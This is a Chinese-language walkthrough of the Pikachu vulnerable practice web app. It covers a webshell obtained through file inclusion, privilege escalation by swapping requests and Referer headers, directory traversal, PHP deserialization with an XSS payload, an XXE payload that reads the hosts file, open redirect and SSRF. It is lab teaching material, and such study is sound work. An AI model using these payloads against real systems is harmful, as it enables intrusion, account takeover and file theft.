- 因为这是个png文件,直接访问是图片,所以使用上面的文件包含漏洞去访问这个图片文件,执行了图片中的php代码后会生成一个222.php的文件,最终我们访问生成的php文件,获取webshell。
- 访问这个文件,获取phpinfo()信息
越权
- 越权就是修改或者查看不属于自己的数据
水平越权
- 名词解释:在同一级别的权限之间跨越边界,例如向其他用户发送私人消息、读取其他用户的文件等,从而绕过某些限制和防御措施
- 进入登录界面,存在以下账户lucy/123456,lili/123456,kobe/123456,这里使用lucy登录
- 登录成功后,有个查看个人信息
- 抓包查看下,发现get传参中有个lucy
- 这里如果我们把lucy换成其他已经存在的用户名会发生什么情况?
- 登录的是lucy用户,查看的却是kobe用户的个人资料,这就是个水平越权的漏洞。
垂直越权
- 名词解释:攻击者通过获取比其本身权限更高的权限,例如管理员权限、根用户权限等,从而执行敏感操作或访问受保护的资源。
- 进入界面,提示说存在两个账户一个是admin/123456、另一个pikachu/000000,其中admin是超级用户。先两个都登录看看。
- 对比可以看出,超级用户特有删除用户、添加用户和查看用户的功能,而普通用户只有查看功能。分别抓包看看:
删除用户请求头GET /vul/overpermission/op2/op2_admin.php?id=28 HTTP/1.1
添加用户请求头:GET /vul/overpermission/op2/op2_admin_edit.php HTTP/1.14.在删除功能中,如果在pikachu退出登录的数据包中我把get请求换成admin用户的添加功能请求头会怎样?
5.放包后,用户直接退出跳到登录界面,登录后,没有看到添加的用户abc,看来说明添加用户服务器还验证了其他信息,查看数据包,最有可能的就是Referer字段,先把这个字段删除掉看看,不行,再换成超级管理员的Referer字段。超级用户的删除Rerferer字段:Referer: http://192.168.0.133:8083/vul/overpermission/op2/op2_admin.php 添加用户Referer字段:Referer: http://192.168.0.133:8083/vul/overpermission/op2/op2_admin_edit.php
6.经过测试,删除这个Referer字段是没有添加用户的,那就换成admin用户的Referer字段试试,但结果还是没有添加上,
7.重新检查下,发现pikachu用户的添加用户提交中的请求没有更换,把请求换成admin的请求:POST /vul/overpermission/op2/op2_admin_edit.php HTTP/1.1
8.整个越权流程就是=》抓取pikachu用户的退出功能=》修改get请求为admin用户添加用户的get请求(GET /vul/overpermission/op2/op2_admin_edit.php HTTP/1.1)=》进入到添加用户的个人信息界面,输入个人信息后,抓取提交数据包=》修改其post请求头内容为admin用户的请求(POST /vul/overpermission/op2/op2_admin_edit.php HTTP/1.1)和Referer字段值(Referer: http://192.168.0.133:8083/vul/overpermission/op2/op2_admin_edit.php)=》再次登录就可以看到pikachu添加的用户了。
目录遍历漏洞
- 在之前的文件包含漏洞已经演示过了,用 ../ 返回到上层目录。
2.如果我们修改jarheads.php值为../../../1.php的意思就是访问上三层的目录下的1.php文件。目录遍历漏洞主要是为了获取父层的文件。
敏感信息泄露
- 所谓的敏感信息泄露包括的内容有很多:源码中作者名、联系方式、测试的账号密码,前端框架,cms信息等等),知道作者名和联系方式就可以进行社工钓鱼,测试的网站密码便可以直接登录,而前端框架和cms则可以寻找已经存在的漏洞,加以利用。
- 像这里使用admin等用户发现登录不进去,但是查看网页源代码发现存在测试账号<!-- 测试账号:lili/123456-->
- 便可以直接用此账号登录了。
php反序列化
- 介绍:php反序列化时将字符串转换成对象使用的函数是unserialize(),而序列化时将对象转换成字符串加以存储,使用的函数时serialize()。
- 那么反序列化漏洞指的就是当反序列化的参数为用户可控时,用户构建恶意的代码经由用户自己序列化后,再把这个序列化的数值发送个服务器,服务器在便会反序列化从而执行用户构建恶意的代码。
- 进入界面可以看到存在一个输入框,提示是接收一个序列化数据的api,那么我们需要构造恶意的序列化的数据经序列化得出字符串再输入。
- 从源码可知当如我的post传惨是正确的S类序列化后的数据,那么到反序列化的时候,会实例S类,接着会执行__construct()魔术方法,执行echo 这个语句,这里如果我的test值为xss代码,就会执行这个xss代码了。
- 这里先构造S类的序列化后的数据,把test值为<script>alert(document.cookie)</script>
<?php
class S{
var $test;
}$s=new S();
$s->test='<script>alert(document.cookie)</script>';
$a=serialize($s);
#echo $a;
echo htmlspecialchars($a, ENT_QUOTES, 'UTF-8');?>
6.将执行后的结果复制到输入框中
XXE
-
先了解下XML:
是一种可扩展的语言,可以根据需要定义新的标记和元素,从而适应不同的应用场景。XML的语法类似于HTML,但它更加通用和灵活,可以用于描述任何类型的数据,而不仅仅是文档或网页。
-
XML的基本结构:
XML文档结构包括XML声明+DTD文档类型定义+文档元素
- XML声明:XML文档中的一个特殊标记,用于指定XML版本和字符编码
- DTD文档类型定义:可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
- 文档元素:XML文档元素是XML文档中的基本组成单元,用于描述数据的结构和内容。它由开始标签、结束标签和内容组成,其中开始标签和结束标签包含元素的名称,用于标识元素的类型和含义,而内容则是元素的实际值
- 具体了解查看这个xml
-
进入界面,有一个输入框,构建简单的xml,测试下:
- <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe "测试" > ]> <foo>&xxe;</foo>
- 没有解析出来,看看源码的配置。
- 但是我还是不理解这个参数的意思哪怕查阅了资料,总之把LIBXML_NOENT换成4或者LIBXML_DTDVALID就可以成功解析了。
-
已经测试成功了,存在xxe漏洞了,接下来构造我们的payload。,这里构造一个打开windows电脑hosts文件
-
<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts"> ]><x>&f;</x>
-
- 其他的利用可看这篇文章xxe利用
url重定向
- 就是说该网页跳转的正常是freebuf网页,但是我修改了url为百度的网页
- 抓取像秋天的风一样的少年数据包
- 便会发现跳到freebuf官网去了
SSRF
- SSRF:服务器端请求伪造攻击,使服务器发起对内部网络或其他外部系统的请求,从而获取敏感信息或者攻击内部系统
SSRF(curl)
- 点击并抓包这个url可以看到,它是访问自己的本地ip路径下的info.php文件的,如果我这个url修改为127.0.0.1会怎样?
- 发现成功打开了我电脑的80端口的网站
-
由此可以用这个漏洞做的事情有:
- 能扫描内部网络,获取端口,服务信息。
- 攻击运行在内网或本地的应用程序。
- 对内网web进行指纹识别
- 对内部主机和端口发送请求包进行攻击
- file协议读取本地文件
- 其他具体操作SSRF漏洞的利用
SSRF(file_get_content)
-
file_get_content:用于读取文件内容并返回字符串
- 操作的方法与上面一样这次访问服务端的hosts文件